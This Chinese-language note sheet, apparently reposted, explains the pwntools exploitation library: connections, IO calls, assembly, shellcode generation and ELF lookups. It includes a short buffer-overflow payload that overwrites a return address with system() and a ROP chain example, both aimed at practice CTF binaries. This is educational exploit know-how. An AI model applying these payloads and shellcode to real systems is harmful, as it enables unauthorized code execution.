常用模塊:
asm : 匯編與反匯編,支持x86/x64/arm/mips/powerpc等基本上所有的主流平台
dynelf : 用於遠程符號泄漏,需要提供leak方法
elf : 對elf文件進行操作
gdb : 配合gdb進行調試
memleak : 用於內存泄漏
shellcraft : shellcode的生成器
tubes : 包括tubes.sock, tubes.process, tubes.ssh, tubes.serialtube,分別適用於不同場景的PIPE
utils : 一些實用的小功能,例如CRC計算,cyclic pattern等
-------------------------------------------------------------------------------------------->
1.連接
本地 :sh = process("./pwn1") (pwn1代表你的本地elf)
遠程:sh = remote("127.0.0.1",10001)
關閉連接:sh.close()
-------------------------------------------------------------------------------------------->
2.IO模塊
sh.send(data) 發送數據
sh.sendline(data) 發送一行數據,相當於在數據后面加\n
sh.recv(numb = 2048, timeout = dufault) 接受數據,numb指定接收的字節,timeout指定超時
sh.recvline(keepends=True) 接受一行數據,keepends為是否保留行尾的\n
sh.recvuntil("Hello,World\n",drop=fasle) 接受數據直到我們設置的標志出現
sh.recvall() 一直接收直到EOF
sh.recvrepeat(timeout = default) 持續接受直到EOF或timeout
sh.interactive() 直接進行交互,相當於回到shell的模式,在取得shell之后使用
-------------------------------------------------------------------------------------------->
3.匯編:
>>> asm('nop')
'\x90'
>>> asm('nop', arch='arm')
'\x00\xf0 \xe3'
>>> asm('push rax', arch = 'amd64', os = 'linux')
>>> asm('push rax', arch = 'i386', os = 'linux')
可以使用context來指定cpu類型以及操作系統
>>> context.arch = 'i386'
>>> context.os = 'linux'
>>> context.endian = 'little'
>>> context.word_size = 32
使用disasm進行反匯編
>>> print disasm('6a0258cd80ebf9'.decode('hex'))
0: 6a 02 push 0x2
2: 58 pop eax
3: cd 80 int 0x80
5: eb f9 jmp 0x0
注意,asm需要binutils中的as工具輔助,如果是不同於本機平台的其他平台的匯編,
例如在我的x86機器上進行mips的匯編就會出現as工具未找到的情況,這時候需要安裝其他平台的cross-binutils。
-------------------------------------------------------------------------------------------->
4.Shellcode生成器:
>>> print shellcraft.i386.nop().strip('\n')
nop
>>> print shellcraft.i386.linux.sh()
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
...
結合asm可以可以得到最終的pyaload。
from pwn import *
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh())
或者
from pwn import *
shellcode = asm(shellcraft.amd64.linux.sh())
除了直接執行sh之外,還可以進行其它的一些常用操作例如提權、反向連接等等。
-------------------------------------------------------------------------------------------->
5.ELF文件操作
>>> e = ELF('/bin/cat')
>>> print hex(e.address) # 文件裝載的基地址
0x400000
>>> print hex(e.symbols['write']) # 函數地址
0x401680
>>> print hex(e.got['write']) # GOT表的地址
0x60b070
>>> print hex(e.plt['write']) # PLT的地址
0x401680
>>> print hex(e.search('/bin/sh').next())# 字符串/bin/sh的地址
-------------------------------------------------------------------------------------------->
6整數pack與數據unpack
pack:p32,p64
unpack:u32,u64
from pwn import *
elf = ELF('./level0')
sys_addr = elf.symbols['system']
payload = 'a' * (0x80 + 0x8) + p64(sys_addr)
-------------------------------------------------------------------------------------------->
7.ROP鏈生成器
elf = ELF('ropasaurusrex')
rop = ROP(elf)
rop.read(0, elf.bss(0x80))
rop.dump()
# ['0x0000: 0x80482fc (read)',
# '0x0004: 0xdeadbeef',
# '0x0008: 0x0',
# '0x000c: 0x80496a8']
str(rop)
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
使用ROP(elf)來產生一個rop的對象,這時rop鏈還是空的,需要在其中添加函數。
因為ROP對象實現了getattr的功能,可以直接通過func call的形式來添加函數,
rop.read(0, elf.bss(0x80))實際相當於rop.call('read', (0, elf.bss(0x80)))。
通過多次添加函數調用,最后使用str將整個rop chain dump出來就可以了。
call(resolvable, arguments=()) : 添加一個調用,resolvable可以是一個符號,
也可以是一個int型地址,
注意后面的參數必須是元組否則會報錯,即使只有一個參數也要寫成元組的形式(在后面加上一個逗號)
chain() : 返回當前的字節序列,即payload
dump() : 直觀地展示出當前的rop chain
raw() : 在rop chain中加上一個整數或字符串
search(move=0, regs=None, order=’size’) : 按特定條件搜索gadget
unresolve(value) : 給出一個地址,反解析出符號
-------------------------------------------------------------------------------------------->
聲明以上內容屬於轉載,我只是做個筆記,望作者理解